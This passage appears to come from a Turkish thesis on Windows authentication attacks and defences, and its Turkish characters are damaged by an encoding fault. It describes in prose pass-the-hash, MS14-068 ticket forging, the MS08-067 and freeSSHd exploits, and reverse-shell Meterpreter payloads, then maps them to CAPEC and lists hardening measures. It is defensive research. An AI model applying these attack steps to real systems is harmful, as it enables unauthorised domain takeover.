edilebilir (Baknz 2.2 konusunda i³lendi§i gibi). Elde edilen hedef bilgisayarn kullanc
bilgileri kaynak bilgisayarda da tanmlanr. Kaynak bilgisayar da tanmlanan kullanc ile
hedef bilgisayarn IP'si `psexec' aracna verilerek hedef bilgisayarn komut satrna ula³-
lr. Sonra kaynak bilgisayar mevcut kullancs ile açlr ve komut satrndan `WCE' arac
ile parola özeti kontrol edilir. Ayn kullanc ile `WCE' arac kullanlarak hedef bilgisa-
yarda parola özeti de§i³tirilir. De§i³tirme i³leminden sonra yine `WCE' arac kullanlarak
hedef bilgisayarn komut satrna ula³lr. Saldr detaylar ekran çktlar ile birlikte EK
E.6 konusunda verilmi³tir.
2.6 Pass the Ticket
Pass the Ticket konusunda; temel olarak a³a§daki saldr yöntemi kullanlabilir. Bunun
yannda ba³ka saldr türleri de gerçekle³tirilebilir.
2.6.1 MS14-068 Kerberos Güvenlik Zaﬁyetinin stismar
2008 server R2 açkl§ olan MS14-068 istismar edilecektir. Bu açkl§ Windows 2014'te
güvenlik bültenlerinde duyurmu³tu ve Windows KB3011780 güncelleme paketini yayn-
lam³tr. Paketi almam³ sunuculara yönelik bu saldr gerçekle³tirilebilir. Domain Users
yetkilerinde bir kullanc elde edilir. Sonra Kali i³letim sistemi üzerinden `Metasploit'
arac kullanlarak ms14_068_kerberos_checksum modülü ile bu kullanc bilgileri kulla-
nlarak Domain Admins yetkilerinde bilet olu³turulur. Bu bilet `Mimikatz' arac yardm
ile hedef kullancya yüklenir. ³lem sonucunda Domain Users yetkilerinde ki kullanc
Domain Admins yetkilerine ula³t§ndan bu kullanc ile yeni domain kullancs olu³tu-
rulur. Saldr detaylar ekran çktlar ile birlikte EK F.1 konusunda verilmi³tir.
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2.7 Zaﬁyet stismar
Zaaﬁyet istismar konusunda; temel olarak a³a§daki saldr teknik ve yöntemleri kulla-
nlabilir. Bunlarn yannda ba³ka saldr türleri de gerçekle³tirilebilir.
2.7.1 MS08_067_Netapi Modülü ile Windowsta Meterpreter Ba§lan-
tsnn Sa§lanmas
Windows i³letim sistemi veya kullanc kaynakl olu³an tehditler sonucu yaplan sald-
rlarda zaﬁyetlerin tespit edilmesi ile hedef sistemlerdeki baz yetkiler elde edildi§i uy-
gulamal olarak anlatlm³t. Bu duruma paralel olarak Windows i³letim sistemli bil-
gisayarlarn Nesus tarz programlar ile zaﬁyetinin olup olmad§ tespit edilebilir. Bu
tespitler sonucu `MSFconsole' aracl§ ile çe³itli modüllerle istismar edilebilir. Burada
XP'deki açkl§ `ms08_067_netapi' istismar modülü ile gerçekle³tirilecektir. Ancak bu
açklk kullanlarak XP üzerinden Windows 7 i³letim sistemi de istismar edilebilmektedir.
`MS08_067_netapi' modülü ayarlar yaplr ve çal³trlr. Bu i³lem sonucunda hedef bil-
gisayarda ba§lant sa§lanr. Saldr detaylar ekran çktlar ile birlikte EK G.1 konusunda
verilmi³tir.
2.7.2 FreeSSHd Yüklü Windows Bilgisayarda Meterpreter Ba§lants-
nn Sa§lanmas
Windows i³letim sistemi veya kullanc kaynakl olu³an tehditler sonucu yaplan saldr-
larda zaﬁyetlerin tespit edilmesi ile hedef sistemlerdeki baz yetkiler elde edildi§i uygula-
mal olarak anlatlm³t. Ayn ³ekilde saldrganlar Windows i³letim sistemli bilgisayarlar
nesus tarz programlar ile zaﬁyetinin olup olmad§ tespit edilebilirler. Bu tespit sonucu
`MSFconsole' aracl§ ile çe³itli modüllerle istismar etmektedirler. Bu konuda ise Win-
dows 7'deki açkl§ bulunan `freeSSHd' uygulamasnn `MSFconsole' aracl§ ile istismar
edilip, kullanc haklar ile `Meterpreter' ba§lants elde edilecektir. Zaﬁyet elde edildikten
sonra `freesshd_authbypass' modülü çal³trlr. Gerekli ayarlar yapldktan sonra modül
exploit edilerek hedef bilgisayar ile ba§lant sa§lanlr. Saldr detaylar ekran çktlar ile
birlikte EK G.2 konusunda verilmi³tir.
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2.8 Akll Kart Saldrlar
Akll kart saldrlar çok geni³ bir konu ve belki birkaç ara³trma konusu olma potansi-
yelindedir. Burada konu i³letim sistemine yönelik saldrlar oldu§undan, yaplan ara³tr-
malar sonucu akll kartlarda da bu yönüyle tamamen ba³arya ula³lm³ bir saldr elde
edilememi³tir. Ancak yan kanal analizi vs birkaç ﬁziksel ve algoritmik saldrlar mevcut-
tur. Bu saldrlar ksmen ba³arya ula³m³tr.
O.Urhan, Kocaeli Üniversitesi, bu konuda `Temassz Akll Kartlara Yeniden Yönlendirme
Saldrs' ³eklinde gerçekle³tirmi³tir. Gerekli ara³trmalar sonucu 200$ civar bir donanm
ile bu saldrnn gerçekle³tirebilece§i ve tespit edilmesi zor oldu§undan önlenemeyece§ini
savunmaktadr [12].
E.Beyda§l, Tübitak Blgem, Akll kartlarda yan kanal analizi saldrsn ele alm³tr.
Matematik kriptograﬁk açdan güçlü ancak yan kanal zaﬁyetinin güçlendirilmedi§inden,
bu yolla yaplacak saldrlarn ba³arl oldu§unu savunmaktadr[13].
2.9 Sosyal Mühendislik Saldrlar ile ³letim Sisteminde Yet-
kilerin Elde Edilmesi
Sosyal mühendislik saldrlar ile i³letim sisteminde yetkilerin elde edilmesi konusunda;
temel olarak a³a§daki saldr teknik ve yöntemleri kullanlabilir. Bunlarn yannda ba³ka
saldr türleri de gerçekle³tirilebilir.
2.9.1 Reverse_Tcp Payload ile Arka Kap Açarak Meterpreter Çal³-
trma
Öncelikle hedefe gönderilecek bir reverse_tcp payload hazrlanlr. Hazrlandktan sonra
uygun bir yöntem ile hedef bilgisayara gönderilir. Kaynak bilgisayar kali i³letim sistemi
üzerinden `Metasploit' çal³trlr. `Handler'` modülü girilir ve ayarlar yaplarak exploit
edilir ve hedef bilgisayarn payload çal³trmas beklenir. Saldr detaylar ekran çktlar
ile birlikte EK H.1 konusunda verilmi³tir.
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2.9.2 Reverse_Https Payload ile Arka Kap Açarak Meterpreter Ça-
l³trma
Hedefe gönderilecek bir reverse_https payload hazrlanlr. 2.9.1 konusunda ki admlar
izlenir. Saldr detaylar ekran çktlar ile birlikte EK H.2 konusunda verilmi³tir.
2.9.3 Drive-by Download
Kullanc bilgisi d³nda hazrlanm³ zararl yazlmn internet yolu ile bilgisayara bula³-
masdr. Özellikle bu yöntem için Activex denetiminden faydalanlr. Kullancnn dikka-
tini çekecek veya ilgisinde bir içerik için Activex denetiminin kullanm ile gerçekle³ir.
[14]. ekil 2.1 üzerinde görüldü§ü gibidir.
ekil 2.1: Drive-by Download Yöntemi
2.10 Payla³ma Açk Verilere Eri³im Sa§lanmas
2.10.1 MSF smb_enumshares Auxiliary Modülü ile Payla³mlara Eri-
³ilmesi
Bilgisayarlar aras yaplan payla³mlar üzerinden kritik bilgiler elde edilebilmektedir. Ya-
plan bu payla³mlara `MSF Smb_enumshares Auxiliary' Modülü ve bu modül benzeri
araçlar kullanlarak eri³ilebilmektedir. Payla³ma açk verileri elde etmek için yaplan
saldr ve detaylar ekran çktlar ile birlikte EK I'de verilmi³tir.
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2.11 CAPEC Uyumlulu§una göre Tehditler ve Saldrlarn
Snﬂandrlmas
CAPEC (Common Attack Pattern Enumeration and Classiﬁcation) Ortak Saldr Mode-
lini Numaralama ve Snﬂandrma; piyasada mevcut saldrlar snﬂandrarak saldrlar
hakknda detay bilgiler, gerekli tanmlar ve açklamalarn yaparak saldrgan hedeﬁnde
ki kitleleri bilgilendirir.
Saldrganlar genellikle bir metadoloji çerçevesinde çal³malarn yürütürler. CAPEC ile
saldrganlarn nasl bir çerçevede davrandklar anla³lmaya çal³lm³tr. CAPEC temel
olarak zaﬁyetli bir sistemin nasl saldrya u§rayabilece§ini, bilinen saldr modellerini
(Attack Pattern) belirtir. CAPEC, bilinen saldr modelleri için saldr tanm, saldr
gerçekle³mesi için ortamda veya sistemde olmas beklenen durumlar / ³artlar, saldr so-
nucu elde edilebilecek avantajlar, saldrnn ciddiyeti / önem derecesi, zayﬂ§n tespit
yöntemi, saldr örne§i, saldr ile ilgili CVE bilgileri, saldrya kar³ alnmas gereken ön-
lemler, bu saldr ile ili³kili di§er saldr modelleri gibi bilgileri sa§layarak saldrlar bir
a§aç yapsnda snﬂandrr.
Güvenli bir sistem ve uygulama yönetimini gerçekle³tirmek için bilinen saldr yöntem-
lerine kar³ gerekli önlemler alnmas gerekir. CAPEC tarafndan sunulan güvenlik çö-
zümleri ile en sk kar³la³lan saldrlara kar³ sistemlerin ve uygulamalarn bir metadoloji
çerçevesinde güvenli§inin sa§lanmas mümkün olur.
Bilgi güvenli§inin en önemli bacaklarndan birisi de gerçekle³tirilen güvenlik mimarisinin,
planlamasnn, operasyonlarnn do§ru ve düzgün bir ³ekilde gerçekle³tirilip gerçekle³ti-
rilmedi§inin kontrol edilmesidir. Bu amaçla güvenlik denetimleri gerçekle³tirilir. CAPEC
tarafndan sa§lanan snﬂandrmalar, saldrlara kar³ alnmas gereken önlemler ve sal-
drlarn önem derecelendirmesi risk analizlerinde ve güvenlik denetimlerinde denetçiye
metadolojik bir bak³ açs kazandrr.
Bu tezin konusu olan Windows i³letim sisteminde kimlik do§rulama sürecindeki zayﬂk-
larn sömürülmesine sebep olan saldr yöntemleri ve bu saldrlara kar³ alnmas gereken
önlemler CAPEC ile metadolojik bak³ açs çerçevesinde snﬂandrlmaya çal³lm³tr.
Tablonun ilk sütunu CAPEC ID, ikinci sütunu CAPEC kriteri ve üçüncü sütunu ise
kritere e³ gelen saldr ve tehditler verilmi³tir.
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Tablo 2.1: CAPEC Uyumlulu§una Göre Saldr ve Tehditler Tablosu
CAPEC ID CAPEC Kriteri Yaplan ³lem
150 Collect Data from Common Resource
Locations
2.1 Fiziksel Güvenli§i Atlatma, 2.2
Çal³an Sistemde SAM/SYSTEM
ve Hesap Özetlerinin Elde Edilmesi,
2.3 RAM Üzerinde Kaytl Jeton-
lar Elde Etme, 2.4 RAM Üzerindeki
Kaytl Parolalar Elde Etme
54 Query System for Information 2.5 Parola ve Parola Özetleri Kul-
lanlarak Bilgisayarda Eri³im Elde
Etme, 2.10 Payla³ma Açk Verilere
Eri³im Sa§lanmas
545 Pull Data from System Resources 2.1 Fiziksel Güvenli§i Atlatma, 2.2
Çal³an Sistemde SAM/SYSTEM
ve Hesap Özetlerinin Elde Edilmesi,
2.3 RAM Üzerinde Kaytl Jeton-
lar Elde Etme, 2.4 RAM Üzerindeki
Kaytl Parolalar Elde Etme
566 Dump Password Hashes 2.1 Fiziksel Güvenli§i Atlatma, 2.2
Çal³an Sistemde SAM/SYSTEM
ve Hesap Özetlerinin Elde Edilmesi
404 Social Information Gathering Attacks 2.9 Sosyal Mühendislik Saldrlar ile
³letim Sisteminde Yetkilerin Elde
Edilmesi
20 Encryption Brute Forcing 2.5 Parola ve Parola Özetleri Kul-
lanlarak Bilgisayarda Eri³im Elde
Etme
457 USB Memory Attacks 2.1 Fiziksel Güvenli§i Atlatma
458 Flash Memory Attacks 2.1 Fiziksel Güvenli§i Atlatma
115 Authentication Bypass 2.1 Fiziksel Güvenli§i Atlatma, 2.7
Zaﬁyet stismar, 2.9 Sosyal Mühen-
dislik Saldrlar ile ³letim Siste-
minde Yetkilerin Elde Edilmesi
560 Use of Known Domain Credentials 2.5 Parola ve Parola Özetleri Kul-
lanlarak Bilgisayarda Eri³im Elde
Etme, 2.6 Pass the Ticket
561 Windows Admin Shares with Stolen
Credentials
2.5 Parola ve Parola Özetleri Kul-
lanlarak Bilgisayarda Eri³im Elde
Etme(Psexec modülü ile hedef pc
ba§lantlar)
234 Hijacking a privileged process 2.2 Çal³an Sistemde SAM/SYS-
TEM ve Hesap Özetlerinin Elde
Edilmesi, 2.3 Üzerinde Kaytl Je-
tonlar Elde Etme, 2.4 RAM Üzerin-
deki Kaytl Parolalar Elde Etme,
2.9 Sosyal Mühendislik Saldrlar ile
³letim Sisteminde Yetkilerin Elde
Edilmesi
2.12 CAPEC Uyumlulu§una Göre Saldr ve Önlemlerin De-
§erlendirilmesi
CAPEC uyumlulu§una göre yaplan saldrlar de§erlenlendirildi§inde gerçekle³tirilme ba-
³ars oldukça yüksektir. Ancak önlemler alndktan sonra ise saldrlarn ba³ar seviyesi
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dü³ürülmü³tür. Konu ile ilgili detaylandrma tablo 2.2'de verildi§i gibidir.
`CAPEC d(C. ID)' sütunu, CAPEC'in yaplan saldrlara verdi§i numaralandrmadr.
`CAPEC De§erlendirmesi(C. De§.)' sütunu, CAPEC uyumlulu§una göre saldrnn zor-
lu§udur. Bu dereceler CAPEC tarafndan Zor, Orta ve Kolay olmak üzere üç a³amada
de§erlendirilmi³tir. `Saldrlar' sütunu, tezde uygulamal olarak yaplan ilgili saldrlardr.
`Önlemler' sütunu, Tezde yaplan saldrya kar³ alnan önlemlerdir. `Önlemler Sonras De-
§erlendirme(Ö. Son. De§.)' sütunu, açkl§a göre alnan önlemlerin uygulandktan sonra
ayn saldrnn gerçekle³tirilmesinde kar³la³lan zorluk derecesidir. Bu dereceler CAPEC
uyumlulu§u baz alnarak Zor, Orta ve kolay olmak üzere 3 a³amada de§erlendirilmi³tir.
`Açklama' sütunu ise konuya yönelik genel de§erlendirmeleri içerir.
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Tablo 2.2: CAPEC Uyumlulu§una Göre Saldr ve Önlemlerin De§erlendirilmesi Tab-
losu
C.
ID
C.
De§.
Saldrlar Önlemler Ö.
Son.
De§.
Açklama
150 Orta 2.1 Fiziksel Güvenli§i
Atlatma, 2.2 Çal³an
Sistemde SAM/SYS-
TEM ve Hesap Özet-
lerinin Elde Edilmesi,
2.3 Üzerinde Kaytl
Jetonlar Elde Etme,
2.4 RAM Üzerindeki
Kaytl Parolalar Elde
Etme
3.1.1 BIOS Ayarlar-
nn yaplmas, 3.1.9 Di-
§er Güvenlik Önlem-
leri(Parola Politikas)
Orta Önlem sonras sal-
dr zorla³trlm³tr
54 Kolay 2.5 Parola ve Parola
Özetleri Kullanlarak
Bilgisayarda Eri³im
Elde Etme, 2.10 Pay-
la³ma Açk Verilere
Eri³im Sa§lanmas
3.1.9 Di§er Güvenlik
Önlemleri(Parola Poli-
tikas), 3.2.5.4 Yöne-
timsel payla³mlar
Orta Yönetici(yetkili)
kullanclardan kay-
nakl açklklardr
545 - 2.1 Fiziksel Güvenli§i
Atlatma, 2.2 Çal³an
Sistemde SAM/SYS-
TEM ve Hesap Özetle-
rinin Elde Edilmesi, 2.3
RAM Üzerinde Kaytl
Jetonlar Elde Etme,
2.4 RAM Üzerindeki
Kaytl Parolalar Elde
Etme
3.1.1 BIOS Ayarlar-
nn yaplmas, 3.1.9 Di-
§er Güvenlik Önlem-
leri(Parola Politikas),
3.1.5 Kritik Hesaplarn
Kullanmna Dair Al-
nacak Önlemler
Zor Alnan önlem son-
ras saldrnn ba-
³arl olma seviyesi
dü³ürülmü³tür
566 - 2.1 Fiziksel Güven-
li§i Atlatma, 2.2
Çal³an Sistemde
SAM/SYSTEM ve
Hesap Özetlerinin Elde
Edilmesi
3.1.1 BIOS Ayarlar-
nn yaplmas, 3.1.9 Di-
§er Güvenlik Önlem-
leri(Parola Politikas),
Zor Alnan önlem son-
ras saldrnn ba-
³arl olma seviyesi
dü³ürülmü³tür.
404 - 2.9 Sosyal Mühendis-
lik Saldrlar ile ³le-
tim Sisteminde Yetkile-
rin Elde Edilmesi
3.1.9 Di§er Gü-
venlik Önlem-
leri(Kullanclarn
e§itilmesi)
Kolay Saldrnn ba³a-
rl olma oran
yüksektir.
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20 Kolay 2.5 Parola ve Parola
Özetleri Kullanlarak
Bilgisayarda Eri³im
Elde Etme
3.1.6 Servis Güvenli-
§ini Sa§lama, 3.1.9 Di-
§er Güvenlik Önlem-
leri(Parola Politikas),
3.2.5.4 Yönetimsel pay-
la³mlar
Orta Alnan önlemler
sonras saldrnn
ba³arya ula³ma
seviyesi dü³ürül-
mü³tür.
457 - 2.1 Fiziksel Güvenli§i
Atlatma
3.1.3 Güncelle³tirme-
lerin Yaplmasnda
Sa§lanan Önlem-
ler(Antivirüs), 3.1.9
Di§er Güvenlik Önlem-
leri(Kullanc E§itimi)
Kolay Saldrnn ba³a-
rl olma oran
yüksektir.
458 - 2.1 Fiziksel Güvenli§i
Atlatma
3.1.3 Güncelle³-
tirmelerin Yapl-
mas(Antivirüs prog-
ramnn güncel tu-
tulmas), 3.1.9 Di§er
Güvenlik Önlem-
leri(Kullanc E§i-
timi),3.1.8 Kullanc
Hesap Denetimi (User
Account Control) (Kul-
lanc Taraﬂ Program
kontrolü)
Kolay Saldrnn ba³a-
rl olma oran
yüksektir.
115 Orta 2.1 Fiziksel Güvenli§i
Atlatma, 2.7 Zaﬁyet s-
tismar 2.9 Sosyal Mü-
hendislik Saldrlar ile
³letim Sisteminde Yet-
kilerin Elde Edilmesi
3.1.3 Güncelleme Po-
litikas, 3.1.9 Di§er
Güvenlik Önlem-
leri(Parola Politikas),
3.1.8 Kullanc He-
sap Denetimi (User
Account Control)
(Kullanc Taraﬂ
Program kontrolü),
3.1.9 Di§er Güvenlik
Önlemleri(Kullanc
E§itimi)
Zor Alnan önlemler
sonras saldrnn
ba³arya ula³ma
seviyesi dü³ürül-
mü³tür.
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560 - 2.5 Parola ve Parola
Özetleri Kullanlarak
Bilgisayarda Eri³im
Elde Etme, 2.6 Pass
the Ticket
3.1.6 Servis Güvenli-
§ini Sa§lama, 3.1.9 Di-
§er Güvenlik Önlem-
leri(Parola Politikas),
3.2.5.4 Yönetimsel pay-
la³mlar, 3.1.3Güncel-
leme Politikas,
Zor Alnan önlemler
sonras saldrnn
ba³arya ula³ma
seviyesi dü³ürül-
mü³tür.
561 - 2.5 Parola ve Parola
Özetleri Kullanlarak
Bilgisayarda Eri³im
Elde Etme(Psexec
modülü ile hedef pc
ba§lantlar)
3.1.6 Servis Güvenli-
§ini Sa§lama, 3.1.9 Di-
§er Güvenlik Önlem-
leri(Parola Politikas),
3.2.5.4 Yönetimsel pay-
la³mlar
Zor Alnan önlemler
sonras saldrnn
ba³arya ula³ma
seviyesi dü³ürül-
mü³tür.
234 Orta 2.2 Çal³an Sistemde
SAM/SYSTEM ve He-
sap Özetlerinin Elde
Edilmesi, 2.3 Üzerinde
Kaytl Jetonlar Elde
Etme, 2.4 RAM Üze-
rindeki Kaytl Parola-
lar Elde Etme, 2.9 Sos-
yal Mühendislik Sald-
rlar ile ³letim Siste-
minde Yetkilerin Elde
Edilmesi
3.1.6 Servis Güven-
li§ini Sa§lama, 3.1.9
Di§er Güvenlik Önlem-
leri(Parola Politikas,
Kullanc E§itimi),
3.2.5.4 Yönetimsel
payla³mlar, 3.1.3
Güncelleme Politikas
Orta Alnan önlemler
sonras saldrnn
ba³arya ula³ma
seviyesi dü³ürül-
mü³tür.
Not: CAPEC uyumlulu§una ait kriterler [15] nolu referanstan alnm³tr.
Bölüm 3
Önlemler
3.1 stemci ve Etki Alanna Yönelik Saldrlar Önleme Yön-
temleri
Windows i³letim sistemlerine yönelik saldrlarn yapaca§ etkiyi en aza indirmek için
çe³itli önlemler alnabilir. Bu önlemler Bilgi Sistemleri Yöneticileri tarafndan sa§lanmas
yeterli olmamakla birlikte kullancnn da bu konularda e§itilmesi önem arz etmektedir.
Bahsedilen önlemler a³a§da ki konu alt ba³lklarnda verilmi³tir.
3.1.1 BIOS Ayarlarnn Yaplandrlmasyla Sa§lanan Önlemler
`Tehditler ve Saldrlar' bölümünde anlatld§ üzere Konu 2.1'deki gibi yöntemler ile
bilgisayar boot edilerek ve Konu 2.2'deki gibi `SAM' ve `SYSTEM' dosyalarna eri³i-
min mümkün oldu§u gösterilmi³ti. Ancak bilgisayarn BIOS ayarlar yaplarak boot (ye-
niden ba³latlarak) edebilmenin önüne geçilebilir. BIOS ayarlarnda yaplmas gereken
boot özelliklerinin kapatlarak BIOS'u supervisor olarak ³ifrelemektir. Ancak eski bilgi-
sayarlarda bu yöntemi BIOS pilini çkartlarak atlatmak mümkündür. Bununda önüne
geçilebilmesi için piyasada çe³itli kilitler mevcuttur. Ayn ³ekilde bilgisayara kullanclar
tarafndan ﬁziksel bir müdahale yaplmasn engellemek için krlgan etiketleme(Güvenlik
etiketi olarakta bilininen bu etiket, yap³trld§ yerden çkarlmaya çal³ld§nda küçük
parçalara ayrlr ve iz brakr. Böylece olas bir ﬁziksel müdahale olup olmad§ anla³lr.)
yaplabilir. Özellikle kurumsal alanlar için üretilmi³ business serili bilgisayarlarda BIOS
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³ifrelemesini atlatmak oldukça u§ra³trc ve atlatlmas güç oldu§undan business seriler
tercih edilmelidir [16].
BIOS ayarlarnn yaplmas a³a§daki gibidir:
 BIOS'un parola atamas gerçekle³tirilmelidir.
 Bilgisayarn sadece HDD'den ba³latlabilmesi sa§lanmaldr.
 Fiziksel müdahalelerin önüne geçmek için Bitlocker tarz programlar ile HDD ³if-
relenmelidir.
 Fiziksel müdahale ile BIOS pili üzerinden BIOS parolasn sfrlamay engellemek
için kilit sistemler kullanlmaldr.
3.1.2 A§ Yaplandrmas Önlemleri
Saldr amaçl yaplan a§ taramalarnn etkin yaplamamas için tarama sonucunu en az
seviyeye indirecek güvenlik önlemleri alnmaldr. Buna dayanarak gerekli yaplandrl-
malar yaplarak a³a§daki gibi ayarlar skla³trlmaldr.
 Ortamdaki aktif cihazlar aracl§ ile etki alanndaki bilgisayarlara olan eri³imler
kontrol edilerek sadece ula³lmas gereken IP bloklarna izin verilmelidir. Kritik
öneme sahip sunuculara yaplan a§ ba§lantlar kontrollü olarak verilmeli ve port
kontrolü gerçekle³tirilmelidir.
 Saldr yüzeyini daraltmak için kullanlmayan ve kullanlmas elzem olmayan i³le-
tim sistemi servisleri devre d³ (disable) braklmaldr. Kritik servisleri kullanan
kullanclar denetlenmeli, hesaplar kilitlenmeyecek ³ekilde optimize edilmeli (Kritik
servis hesaplar için kilitleme ilkesi uygulanmamaldr. Servis hesabnn parolasna
deneme saldrs yapld§nda verilen hizmetin aksamasna sebep olunabilir) , kul-
landklar parolalarn uzun ve karma³k olmas sa§lanmal ve gerekli aralklarla
de§i³tirilmelidir.
 Bilgisayarlarda gerekli yetkiler elde edilip yaylma sürecinde, yönetimsel payla³m-
lar kullanlmaktadr. Bu yüzden yönetimsel payla³mlar kapatlmaldr. Etki alann-
daki gerekli yönetimsel payla³mlar için sadece ilgili kullanc için yetki verilmelidir.
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Bu yüzden Windows i³letim siteminin kayt defterinde (regedit) ilgili anahtar 0 ya-
plmaldr.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
\LanManServer\AutoShareServer
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
\LanManServer\AutoShareWks
 Di§er bir önlem ise güvenlik duvarnn açk tutulmasdr. Güvenlik duvar açkken
kullancnn bilgisayarna ba³ka bir bilgisayardan program ile ileti³im kurdu§unda
güvenlik duvarn kullanacaktr. Bu durumda ise kullanc, ileti³im kurmak isteyen
program izin verilenler listesine eklerse ileti³im gerçekle³ir. Bu do§rultuda kulla-
nc bilgisayar ile ileti³im kurulacak d³ardaki bilgisayarlarn hangi programlar
kullanaca§ snrlandrlabilir.
3.1.3 Güncelle³tirmelerin Yaplmasnda Sa§lanan Önlemler
Saldr amaçl yaplan zaﬁyet taramalarnn etkin yaplamamas için tarama sonucunu mi-
nimum seviyeye indirecek güvenlik önlemleri alnmal ve mümkün oldu§unca az bilginin
aç§a çkmas için zaﬁyet tarama i³lemleri zorla³trlmaldr. Bu kapsamda bilgisayarla-
rn i³letim sistemlerinin ve üzerinde bulunan yazlmlarn güncel olmas önemlidir. Bu
do§rultuda uygulanabilecek birkaç önlem a³a§da verilmi³tir.
 Bilgi sistemleri veya yönetimi tarafndan bu konu önemsenmeli, çe³itli politikalar
üretilip uygulanmal ve geli³tirilmelidir.
 Bu do§rultuda eri³im sa§lanan bilgisayarlar için belirli aralklarla zaﬁyet taramalar
yaplmaldr. Bu i³lem yaplrken tek araçla de§il farkl araçlarla tarama yaplp
sonuçlar kar³la³trlmal olarak de§erlendirilmelidir. Ayn zamanda araçlarn güncel
olmasna dikkat edilmelidir.
 Saldr tespit/önleme sistemlerinin güncelli§i ve ayn ³ekilde kullanlan anti virüs
yazlmlarnn güncel olmasna dikkat edilmeli son imzalar ta³dklarndan emin
olunmaldr.
 Çe³itli yöntemler ile elde edilen zaﬁyetler belirlenen güncelleme politikalar çerçeve-
sinde de§erlendirilmeli ve uygulanmas karar verilen güncellemeler merkezi olarak
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en ksa sürede bütün bilgisayarlara da§tlmaldr. Da§tm sonras gerekli tarama
yaplp güncelleme alamayan cihazlarn kontrolleri sa§lanmal ve nedeni ara³trl-
maldr.
 Saldr yüzeyini daraltmak için kurum ve kurulu³un i³ fonksiyonunu icra etmesi aç-
sndan gerekli yazlmlar kurulmal, di§er yazlmlar kontrollü olarak yüklenmelidir.
 Yeni güncelleme ve zaﬁyetlerden haberdar olmak için çe³itli yaynlar ve bloglar
takip edilmelidir. Bu tür güncel bilgilerden haberdar olmak için posta gruplarna
üye olunmaldr.
3.1.4 ³letim Sistemi majlarnn Yönetimi Kapsamnda Önlemler
Saldr amaçl yaplan zaﬁyet taramalarnn etkin yaplamamas için tarama sonucunu
minimum seviyeye indirecek güvenlik önlemleri alnmal ve mümkün oldu§unca az bilgi-
nin aç§a çkmas için gerekli i³lemler yaplmadr. majlar genellikle güncel olmad§ndan
sürekli güncelli§i kontrol edilmeli ve güncellenmelidir. Ayrca maj olu³turulurken yeni
bir yerel kullanc eklenir veya Windows i³letim sisteminin default kullanclar kullanlr.
Bu kullanclar için yeni bir parola eklenir veya default olarak braklr. Bu özellikteki
imaj ilgili kurum veya kurulu³larn hemen hemen bütün bilgisayarlarna kurulur. majda
gömülü kullanc bilgileri silinmedikçe veya de§i³tirilmedikçe imajla kurulumu yaplan
bütün bilgisayarlar bu bilgileri barndrr. Bu yüzden imaj yolu ile kurulumu yaplan bir
bilgisayardan elde edilen kullanc bilgileri ile di§er bilgisayarlarda kullanlmasn engel-
lemek için tedbirler alnmaldr. Bu hususta dikkat edilmesi gereken durumlar a³a§daki
gibidir.
 Güncelleme politikasna dikkat edilerek imajlara belirli aralklarla gerekli güncelle-
meler yaplmal. Güvenli§i skla³trmak için skla³trma i³lemleri için hazrlanan
³ablonlar takip edilmeli ve kullanlmaldr. Tavsiye edilen ³ablonlar a³a§daki gibi-
dir:
- http://www.bilgiguvenligi.gov.tr/kilavuz-dokumanlar/index.php
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- https://benchmarks.cisecurity.org/downloads/multiform/
- http://web.nvd.nist.gov/view/ncp/repository
 Yeni kurulumu sa§lanp etki alanna alnan bir bilgisayar için Windows Group
Policy grubu olmal ve o gruba dahil edilmelidir.
 maj ile i³letim sistemi kurulduktan sonra, bilgisayarda yetkili yerel kullanc veya
default kullanclar silinmelidir. Yerel kullanc kullanlmas gerekti§inde kullanlma
i³lemi bitince mümkünse silinmelidir aksi halde saldrganlar tarafndan ele geçirilme
ihtimaline kar³ yerel kullancnn i³lemleri denetim altnda olmaldr. [17].
 Windows Group Policylerinden User Conﬁguration > Preferences özelli§i kullan-
larak önleyici amaçl tuzak kullanc olu³turulmaldr. Bu i³lem a³a§daki gibi üç
admda yaplabilir.
1. ³letim sistemi ile default olarak gelen (built-in) ve yerel yönetici haklarna
sahip olan (Administrator (built-in)) devre d³ braklr. Action ksm Update
seçilir, Description ksmna, Deneme amaçldr vs. yazlabilir. Rename to ve
Full name ksm ³üphe çekmeyecek bir isim olan test, tester, deneme vs. isim
verilir. Parola uzun ve karma³k bir ³ekilde ayarlatlr. En altta User cannot
change password, Password never expires, Account is disabled ve Account never
expires seçenekleri seçilir ve ok denilerek i³lem tamamlanr.
2. lk i³lemden sonra tuzak kullanc olu³turulur. Yerel yönetici olarak kullanc
ad Administrator, tanm default yerel yönetici tanm olan Built-in account
for administering the computer/domain yazlr. Parolann açk halini elde et-
meyi zorla³trmak için parola yine uzun ve karma³k verilir. lk i³lemdeki gibi
bütün alt seçenekler seçilir. Burada kullanc devre d³ braklm³tr, amaç
saldrgann zaman kaybetmesini sa§lamaktr.
Not: Burada parola ksa tutularak ve kullanc etkin braklarak saldr tespit
amaçlda kullanlabilir. Yani saldrgan parolay elde edip login oldu§unda anlk
haberle³me sistemi devreye girerek saldrgan tespit etme ve gerekli önlemlerin
alnmas sa§lanlr.
3. Olu³turulan tuzak kullanc USERS veya GUESTS yetkilerinde gruplara üye
yaplr ve bilgisayar üzerindeki tüm haklar alnr.
Not: Tuzak kullanc olu³turma yaygn bir yöntem oldu§undan dolay saldry
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yapan saldrganlar deneyimli ki³iler oldu§unda bu olaslk göz önünde bulun-
durularak i³lem yapld§ndan SID de§erine baklarak durum anla³labilmek-
tedir. Bunun için yerel yönetici parolalarnn yönetimi için özel geli³tirilmi³
uygulamalar mevcuttur. De§i³ik yeteneklerdeki bu uygulamalardan faydala-
nlabilir [17]. Yerel yöneticilerin ve BIOS ³ifrelerinin otomatik / birbirinden
farkl olarak ayarlanmas ve merkezi olarak yönetilmesi konusu ile ilgili makale
linkteki gibidir.
https://www.bilgiguvenligi.gov.tr/kurumsal-guvenlik/merkezi
-olmayan-parolalarin-yerel-yonetici-BIOS-vs.-yonetiminde
-guc-parolasi-yaklasimi.html
3.1.5 Kritik Hesaplarn Kullanmna Dair Alnacak Önlemler
Windows i³letim sistemi veya kullanc kaynakl olu³an tehditler sonucu yaplan saldr-
larda uygulanan admlardan ara³trma admnda kritik hesaplar ele geçirilip kullanlmaya
çal³lmaktadr. Bu yüzden tarama sonucunu minimum seviyeye indirecek güvenlik ön-
lemleri alnmal, en az bilginin aç§a çkmas için gerekli i³lemler yaplmal ve özellikle
kritik hesaplar amaçlar d³nda kullanlmamaldr. Kritik hesab olan ki³inin ayrca yet-
kisi kstl bir hesab olmaldr. Önemli i³lemleri yetkili hesap ile gerçekle³tirirken, normal
